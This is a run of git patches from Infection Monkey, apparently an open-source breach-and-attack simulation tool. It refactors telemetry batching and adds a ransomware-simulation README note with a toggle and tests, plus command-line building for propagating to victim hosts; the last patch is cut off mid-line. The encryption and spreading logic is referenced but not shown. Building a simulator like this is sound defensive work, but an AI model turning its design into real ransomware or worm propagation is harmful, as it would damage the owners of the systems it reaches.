252a5e8a7dc..f47d5392e23 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -19,7 +19,7 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERIOD): self._queue: queue.Queue[ITelem] = queue.Queue() - self._thread = BatchingTelemetryMessenger._BatchingTelemetryMessengerThread( + self._thread = self._BatchingTelemetryMessengerThread( self._queue, telemetry_messenger, period ) @@ -32,8 +32,10 @@ def send_telemetry(self, telemetry: ITelem): self._queue.put(telemetry) class _BatchingTelemetryMessengerThread: - def __init__(self, queue: queue.Queue, telemetry_messenger: ITelemetryMessenger, period): - self._queue: queue.Queue[ITelem] = queue + def __init__( + self, telem_queue: queue.Queue, telemetry_messenger: ITelemetryMessenger, period: int + ): + self._queue: queue.Queue[ITelem] = telem_queue self._telemetry_messenger = telemetry_messenger self._period = period From 9d3d4611dcc5eb9ebe33d15bc08e97b8869594d8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 06:38:56 -0400 Subject: [PATCH 0953/1360] agent: Define _manage_telemetry_batches_thread in __init_() --- .../telemetry/messengers/batching_telemetry_messenger.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index f47d5392e23..aa435156725 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -45,6 +45,8 @@ def __init__( self._last_sent_time = time.time() self._telemetry_batches: Dict[str, IBatchableTelem] = {} + self._manage_telemetry_batches_thread = None + def start(self): self._should_run_batch_thread = True self._manage_telemetry_batches_thread = threading.Thread( @@ -55,6 +57,7 @@ def start(self): def stop(self): self._should_run_batch_thread = False self._manage_telemetry_batches_thread.join() + self._manage_telemetry_batches_thread = None def _manage_telemetry_batches(self): self._reset() From 8cf316b64a862b3a7c87250153f8cad61edd9fa3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 07:36:49 -0400 Subject: [PATCH 0954/1360] agent: Refactor telemetry processing in BatchingTelemetryMessenger We need to ensure when a BatchingTelemetryMessenger stops, all remaining telemetries in its queue are sent. The existing logic does this, but this commit improves the readability and intent of the code, as well as adds a test for this condition. --- .../batching_telemetry_messenger.py | 31 ++++++++++++------- .../test_batching_telemetry_messenger.py | 19 ++++++++++++ 2 files changed, 39 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index aa435156725..123903fb06c 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -62,27 +62,30 @@ def stop(self): def _manage_telemetry_batches(self): self._reset() - while self._should_run_batch_thread or not self._queue.empty(): - try: - telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) - - if isinstance(telemetry, IBatchableTelem): - self._add_telemetry_to_batch(telemetry) - else: - self._telemetry_messenger.send_telemetry(telemetry) - except queue.Empty: - pass + while self._should_run_batch_thread: + self._process_next_telemetry() if self._period_elapsed(): self._send_telemetry_batches() self._reset() - self._send_telemetry_batches() + self._send_remaining_telemetry_batches() def _reset(self): self._last_sent_time = time.time() self._telemetry_batches = {} + def _process_next_telemetry(self): + try: + telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) + + if isinstance(telemetry, IBatchableTelem): + self._add_telemetry_to_batch(telemetry) + else: + self._telemetry_messenger.send_telemetry(telemetry) + except queue.Empty: + pass + def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem): telem_category = new_telemetry.telem_category @@ -94,6 +97,12 @@ def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem): def _period_elapsed(self): return (time.time() - self._last_sent_time) > self._period + def _send_remaining_telemetry_batches(self): + while not self._queue.empty(): + self._process_next_telemetry() + + self._send_telemetry_batches() + def _send_telemetry_batches(self): for batchable_telemetry in self._telemetry_batches.values(): self._telemetry_messenger.send_telemetry(batchable_telemetry) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py index 2de3e0ffe77..8b894a4f977 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py @@ -122,3 +122,22 @@ def test_send_two_batches(monkeypatch, batching_telemetry_messenger, telemetry_m assert len(telemetry_messenger_spy.telemetries) == 2 assert telemetry_messenger_spy.telemetries[1] == telem2 + + +def test_send_remaining_telem_after_stop(monkeypatch, telemetry_messenger_spy): + patch_time(monkeypatch, 0) + batching_telemetry_messenger = BatchingTelemetryMessenger( + telemetry_messenger_spy, period=PERIOD + ) + + expected_data = {"entries": [1]} + telem = BatchableTelemStub(1) + + batching_telemetry_messenger.send_telemetry(telem) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 0 + del batching_telemetry_messenger + + assert len(telemetry_messenger_spy.telemetries) == 1 + assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data From d5a26ca6eb119f76fcef1616eadee9452b8de015 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 07:48:18 -0400 Subject: [PATCH 0955/1360] agent: Refactor BatchingTelemetryMessenger tests to destroy threads --- .../test_batching_telemetry_messenger.py | 43 ++++++++++++------- 1 file changed, 28 insertions(+), 15 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py index 8b894a4f977..e3d2f89e011 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py @@ -1,7 +1,5 @@ import time -import pytest - from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem @@ -53,15 +51,21 @@ def get_data(self) -> dict: return {"entries": self._telemetry_entries} -@pytest.fixture -def batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy): +# Note that this function is not a fixture. This is because BatchingTelemetyMessenger +# stops its thread when it is destructed. If this were a fixture, it may live +# past the end of the test, which would allow the in the BatchingTelemetryMessenger +# instance to keep running instead of stopping +def build_batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy): patch_time(monkeypatch, 0) - return BatchingTelemetryMessenger(telemetry_messenger_spy, period=0.001) + return BatchingTelemetryMessenger(telemetry_messenger_spy, period=PERIOD) -def test_send_immediately(batching_telemetry_messenger, telemetry_messenger_spy): - telem = NonBatchableTelemStub() +def test_send_immediately(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + telem = NonBatchableTelemStub() batching_telemetry_messenger.send_telemetry(telem) release_GIL() @@ -69,7 +73,11 @@ def test_send_immediately(batching_telemetry_messenger, telemetry_messenger_spy) assert telemetry_messenger_spy.telemetries[0] == telem -def test_send_telem_batch(monkeypatch, batching_telemetry_messenger, telemetry_messenger_spy): +def test_send_telem_batch(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + expected_data = {"entries": [1, 2]} telem1 = BatchableTelemStub(1) telem2 = BatchableTelemStub(2) @@ -86,9 +94,11 @@ def test_send_telem_batch(monkeypatch, batching_telemetry_messenger, telemetry_m assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data -def test_send_different_telem_types( - monkeypatch, batching_telemetry_messenger, telemetry_messenger_spy -): +def test_send_different_telem_types(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + telem1 = BatchableTelemStub(1, "cat1") telem2 = BatchableTelemStub(2, "cat2") @@ -105,7 +115,11 @@ def test_send_different_telem_types( assert telemetry_messenger_spy.telemetries[1] == telem2 -def test_send_two_batches(monkeypatch, batching_telemetry_messenger, telemetry_messenger_spy): +def test_send_two_batches(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + telem1 = BatchableTelemStub(1, "cat1") telem2 = BatchableTelemStub(2, "cat1") @@ -125,9 +139,8 @@ def test_send_two_batches(monkeypatch, batching_telemetry_messenger, telemetry_m def test_send_remaining_telem_after_stop(monkeypatch, telemetry_messenger_spy): - patch_time(monkeypatch, 0) - batching_telemetry_messenger = BatchingTelemetryMessenger( - telemetry_messenger_spy, period=PERIOD + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy ) expected_data = {"entries": [1]} From 444a18d57ab985cec9af03d257cdbd33cc6f0827 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 08:15:39 -0400 Subject: [PATCH 0956/1360] agent: Fix parameter descriptions in FileEncryptionTelem docstring --- monkey/infection_monkey/telemetry/file_encryption_telem.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py index ff298d3cc77..7f18867ab32 100644 --- a/monkey/infection_monkey/telemetry/file_encryption_telem.py +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -10,10 +10,9 @@ class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): def __init__(self, filepath: Path, success: bool, error: str): """ File Encryption telemetry constructor - :param attempts: List of tuples with each tuple containing the path - of a file it tried encrypting and its result. - If ransomware fails completely - list of one tuple - containing the directory path and error string. + :param filepath: The path to the file that monkey attempted to encrypt + :param success: True if encryption was successful, false otherwise + :param error: An error message describing the failure. Empty unless success == False """ super().__init__() From 7e7d46d4e779634b705de825c7c6b26ff4a88441 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 09:53:32 -0400 Subject: [PATCH 0957/1360] agent: Improve description in BatchableTelemMixin docstring --- monkey/infection_monkey/telemetry/batchable_telem_mixin.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py index 913d7d40eb3..905e9e91bfb 100644 --- a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py +++ b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py @@ -5,7 +5,8 @@ class BatchableTelemMixin: """ - Implements the IBatchableTelem interface methods using a list. + Implements the get_telemetry_batch() and add_telemetry_to_batch() methods from the + IBatchableTelem interface using a list. """ @property From f8579300b34b39290d3b2b35cd6955d5c02250ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 09:55:29 -0400 Subject: [PATCH 0958/1360] Revert "Add keywords to arguments that create RansomwarePayload in monkey.py" This reverts commit e34599779b5e23c1a678ed5d1f23fe568bb93642. --- monkey/infection_monkey/monkey.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index b1bb61e4fc3..622c17d7dc7 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -477,8 +477,7 @@ def run_ransomware(): try: RansomewarePayload( - config=WormConfiguration.ransomware, - telemetry_messenger=batching_telemetry_messenger, + WormConfiguration.ransomware, batching_telemetry_messenger ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") From 8281a9d7386fa1e51692446f4e415b77982534bc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 10:34:43 -0400 Subject: [PATCH 0959/1360] agent: Add docstring to IBatchableTelem --- monkey/infection_monkey/telemetry/i_batchable_telem.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/infection_monkey/telemetry/i_batchable_telem.py b/monkey/infection_monkey/telemetry/i_batchable_telem.py index e02c41118ef..3503316fabc 100644 --- a/monkey/infection_monkey/telemetry/i_batchable_telem.py +++ b/monkey/infection_monkey/telemetry/i_batchable_telem.py @@ -7,6 +7,11 @@ class IBatchableTelem(ITelem, metaclass=abc.ABCMeta): + """ + Extends the ITelem interface and enables telemetries to be aggregated into + batches. + """ + @abc.abstractmethod def get_telemetry_batch(self) -> Iterable: pass From 23b85acdfcf0d24f5fc8efd0c346d0b72aaab267 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 14:07:02 -0400 Subject: [PATCH 0960/1360] Agent: Add placeholder README file for ransomware simulation --- .../pyinstaller_hooks/hook-infection_monkey.ransomware.py | 3 +++ monkey/infection_monkey/ransomware/__init__.py | 0 monkey/infection_monkey/ransomware/ransomware_readme.txt | 2 ++ 3 files changed, 5 insertions(+) create mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py create mode 100644 monkey/infection_monkey/ransomware/__init__.py create mode 100644 monkey/infection_monkey/ransomware/ransomware_readme.txt diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py new file mode 100644 index 00000000000..4cedd58e724 --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py @@ -0,0 +1,3 @@ +from PyInstaller.utils.hooks import collect_data_files + +datas = collect_data_files("infection_monkey.ransomware") diff --git a/monkey/infection_monkey/ransomware/__init__.py b/monkey/infection_monkey/ransomware/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/infection_monkey/ransomware/ransomware_readme.txt b/monkey/infection_monkey/ransomware/ransomware_readme.txt new file mode 100644 index 00000000000..8f480a53689 --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_readme.txt @@ -0,0 +1,2 @@ +This is a placeholder README for the Infection Monkey Ransomware Simulation. +Don't panic :) From b312c11f440bd1a6c20b1cbcc5f7badd2f363961 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 14:39:10 -0400 Subject: [PATCH 0961/1360] Agent: Leave a README.txt in ransomware target dir if it's configured --- .../ransomware/ransomware_payload.py | 15 +++++++++++ .../ransomware/test_ransomware_payload.py | 27 ++++++++++++++++--- 2 files changed, 39 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f46c5ae7259..ec6da23ec93 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,4 +1,5 @@ import logging +import shutil from pathlib import Path from typing import List, Optional, Tuple @@ -14,6 +15,9 @@ EXTENSION = ".m0nk3y" CHUNK_SIZE = 4096 * 24 +README_SRC = Path(__file__).parent / "ransomware_readme.txt" +README_DEST = "README.txt" + class RansomewarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): @@ -29,6 +33,9 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): else target_directories["linux_dir"] ) + self._readme_enabled = config["other_behaviors"]["readme"] + LOG.info(f"README enabled: {self._readme_enabled}") + self._new_file_extension = EXTENSION self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(self._new_file_extension) @@ -39,6 +46,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): def run_payload(self): file_list = self._find_files() self._encrypt_files(file_list) + self._leave_readme() def _find_files(self) -> List[Path]: if not self._target_dir: @@ -67,3 +75,10 @@ def _add_extension(self, filepath: Path): def _send_telemetry(self, filepath: Path, error: str): encryption_attempt = RansomwareTelem((str(filepath), str(error))) self._telemetry_messenger.send_telemetry(encryption_attempt) + + def _leave_readme(self): + if self._readme_enabled: + try: + shutil.copyfile(README_SRC, Path(self._target_dir) / README_DEST) + except Exception as ex: + LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 35aef048ced..5ebb5950ca7 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,5 +1,5 @@ import os -from pathlib import PurePath +from pathlib import Path, PurePath import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( @@ -22,7 +22,11 @@ from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module -from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload +from infection_monkey.ransomware.ransomware_payload import ( + EXTENSION, + README_DEST, + RansomewarePayload, +) from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger @@ -42,7 +46,8 @@ def with_extension(filename): @pytest.fixture def ransomware_payload_config(ransomware_target): return { - "directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} + "directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)}, + "other_behaviors": {"readme": False}, } @@ -166,3 +171,19 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0] assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1] + + +def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_messenger_spy): + ransomware_payload_config["other_behaviors"]["readme"] = False + ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) + + ransomware_payload.run_payload() + assert not Path(ransomware_target / README_DEST).exists() + + +def test_readme_true(ransomware_payload_config, ransomware_target, telemetry_messenger_spy): + ransomware_payload_config["other_behaviors"]["readme"] = True + ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) + + ransomware_payload.run_payload() + assert Path(ransomware_target / README_DEST).exists() From 92be6e72c24d1d589285116a9fc19b5a34ba09ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 15:19:28 -0400 Subject: [PATCH 0962/1360] Island: Fix casing on README.TXT --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index cbd4e4e7229..bf7d5aced1e 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -27,7 +27,7 @@ "type": "object", "properties": { "readme": { - "title": "Create a README.TXT file", + "title": "Create a README.txt file", "type": "boolean", "default": True, "description": "Creates a README.txt ransomware note on infected systems.", From f027ad6d1b1e1e943a7e4acc2a9210a541d4c62e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 11:48:07 -0400 Subject: [PATCH 0963/1360] Agg ransomware simulation to CHANGELOG --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b08f01a0235..5ca3838f69e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). configuration and other artifacts can be stored. #994 - Scripts to build an AppImage for Monkey Island. #1069, #1090, #1136 - `log_level` option to server config. #1151 +- A ransomware simulation payload. #1238 ### Changed - server_config.json can be selected at runtime. #963 From 32a0a41c21e8465bf53188d2de4bb823dd348b7d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 15:37:58 -0400 Subject: [PATCH 0964/1360] Agent: Add content to ransomware README.txt file --- .../ransomware/ransomware_readme.txt | 51 ++++++++++++++++++- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_readme.txt b/monkey/infection_monkey/ransomware/ransomware_readme.txt index 8f480a53689..8a4627a6b85 100644 --- a/monkey/infection_monkey/ransomware/ransomware_readme.txt +++ b/monkey/infection_monkey/ransomware/ransomware_readme.txt @@ -1,2 +1,49 @@ -This is a placeholder README for the Infection Monkey Ransomware Simulation. -Don't panic :) + ██████████ ██ █████ ███████████ ███ +░░███░░░░███ ███ ░░███ ░░███░░░░░███ â–‘â–‘â–‘ + ░███ ░░███ ██████ ████████ â–‘â–‘â–‘ ███████ ░███ ░███ ██████ ████████ ████ ██████ + ░███ ░███ ███░░███░░███░░███ ░░░███░ ░██████████ ░░░░░███ ░░███░░███ ░░███ ███░░███ + ░███ ░███░███ ░███ ░███ ░███ ░███ ░███░░░░░░ ███████ ░███ ░███ ░███ ░███ â–‘â–‘â–‘ + ░███ ███ ░███ ░███ ░███ ░███ ░███ ███ ░███ ███░░███ ░███ ░███ ░███ ░███ ███ + ██████████ ░░██████ ████ █████ ░░█████ █████ ░░████████ ████ █████ █████░░██████ +â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘ â–‘â–‘â–‘â–‘â–‘â–‘ + + -yddy- + `` yN::Ny `` + `ymdmo .hNNh. . omdmy` + :Ny:dm. .`-NN- -m .md:yN: + :sdNN: :m:+NN+:ymy -` :NNds: + +Nmo-/ohNNmNNNNNNNdms-+mN+ + ``` dNNNNNNNNNNNNNNNNNNNNNNd ``` + `ymhms `+dNNNNNNNNNNNNNNNNNNNNNNNNd+` smhmy` + :Ny:dNh- +mNNNNNNNNNNNNNNNNNNNNNNNNNNNNm+ -hNd:yN: + -ossydNmhmNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmhmNdysso- + .dNNNNNNNNmhyyhdNNNNNNNNdhyyhmNNNNNNNNh. + ./ooodNNNNNms- ..` `/hNNh/` `.. -omNNNNNdooo/. + /dNNNNNNNNNNd. :hNNNNms. ++ .smNNNmy: .dNNNNNNNNNNd/ + yNNmo:-mNNNNm. +NNmyodNNm. .mNNdoymNN+ .mNNNNm-:omNNy + /NNN- -NNNNNm hNNy .NNN/ /NNN. yNNh mNNNNN- -NNN/ + /NNN. :NNNNNN: :mNNdhmNNh` `hNNmhdNNm: :NNNNNN: .NNN/ + `dNNd/..NNNNNNm/ .ohmmdy/ ```` /ydmmho. /mNNNNNN.`/dNNd` + `omNNNmNNNNNNNNh+-` :h::h: `-+hNNNNNNNNmNNNmo` + `:oyyymNNNNNNNNNmh+` `+hmNNNNNNNNNmyyyo:` + `hNNNNNNNNNs`/yys+/::/+syy/`yNNNNNNNNNh` + ./+++ymNmNNNNNNNNd `-://:-` dNNNNNNNNmNmy+++/. + -mh+dNd/` `sNNNNNNNo oNNNNNNNs` `/dNd+hm: + .ddsmh` -ymNNNNNh- -hNNNNNms- `hmsdd. + --. `dNNNNNNds/:--:/sdNNNNNNd` .-- + :NNs/oydmNNNNNNNNmdyo/sNm: + .+hNN/ `.sNNs.` /NNy+. + :my/dm. -NN- .md/ym- + .ddymy `yNNy` `ymydd. + .-. yN//Ny .-. + :dmmd: + +Infection Monkey is an open-source breach and attack simulation (BAS) platform. The files in this +directory have been manipulated as part of a ransomware simulation. This is NOT a real ransomware +attack. If you've discovered this file and are unsure about how to proceed, please contact your +administrator. + +For more information about Infection Monkey, see https://www.guardicore.com/infectionmonkey. + +For more information about Infection Monkey's ransomware simulation, see +https://www.guardicore.com/infectionmonkey/docs/reference/ransomware. From d87b8ae4a7d155ad7c18fb73b45bffacdd15fdb6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 12:00:49 -0400 Subject: [PATCH 0965/1360] agent: Fix typo RansomewarePayload -> RansomwarePayload --- monkey/infection_monkey/monkey.py | 4 ++-- .../ransomware/ransomware_payload.py | 2 +- .../ransomware/test_ransomware_payload.py | 12 ++++-------- 3 files changed, 7 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 622c17d7dc7..a75304660f5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,7 +19,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware.ransomware_payload import RansomewarePayload +from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -476,7 +476,7 @@ def run_ransomware(): batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) try: - RansomewarePayload( + RansomwarePayload( WormConfiguration.ransomware, batching_telemetry_messenger ).run_payload() except Exception as ex: diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 41631b2279a..9d85a48eab0 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -19,7 +19,7 @@ README_DEST = "README.txt" -class RansomewarePayload: +class RansomwarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): target_directories = config["directories"] LOG.info( diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 7bf819a6b3e..80677ecf291 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -22,11 +22,7 @@ from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module -from infection_monkey.ransomware.ransomware_payload import ( - EXTENSION, - README_DEST, - RansomewarePayload, -) +from infection_monkey.ransomware.ransomware_payload import EXTENSION, README_DEST, RansomwarePayload def with_extension(filename): @@ -43,7 +39,7 @@ def ransomware_payload_config(ransomware_target): @pytest.fixture def ransomware_payload(ransomware_payload_config, telemetry_messenger_spy): - return RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) + return RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): @@ -163,7 +159,7 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_messenger_spy): ransomware_payload_config["other_behaviors"]["readme"] = False - ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) ransomware_payload.run_payload() assert not Path(ransomware_target / README_DEST).exists() @@ -171,7 +167,7 @@ def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_me def test_readme_true(ransomware_payload_config, ransomware_target, telemetry_messenger_spy): ransomware_payload_config["other_behaviors"]["readme"] = True - ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) ransomware_payload.run_payload() assert Path(ransomware_target / README_DEST).exists() From 96cf8fc0527a979bdad814b0de9c14c7ece3bd93 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Jun 2021 18:03:23 +0200 Subject: [PATCH 0966/1360] agent: Add missing space in build_monkey_commandline --- monkey/infection_monkey/utils/commands.py | 2 +- monkey/tests/unit_tests/infection_monkey/utils/test_commands.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index b9e042e00e5..ee2f0153acf 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -7,7 +7,7 @@ def build_monkey_commandline( target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None ) -> str: - return " ".join( + return " " + " ".join( build_monkey_commandline_explicitly( GUID, target_host.default_tunnel, diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index efb0623bd7b..a3f210533b3 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -100,7 +100,7 @@ def test_build_monkey_commandline(): example_host = VictimHost(ip_addr="bla") example_host.set_default_server("101010") - expected = f"-p 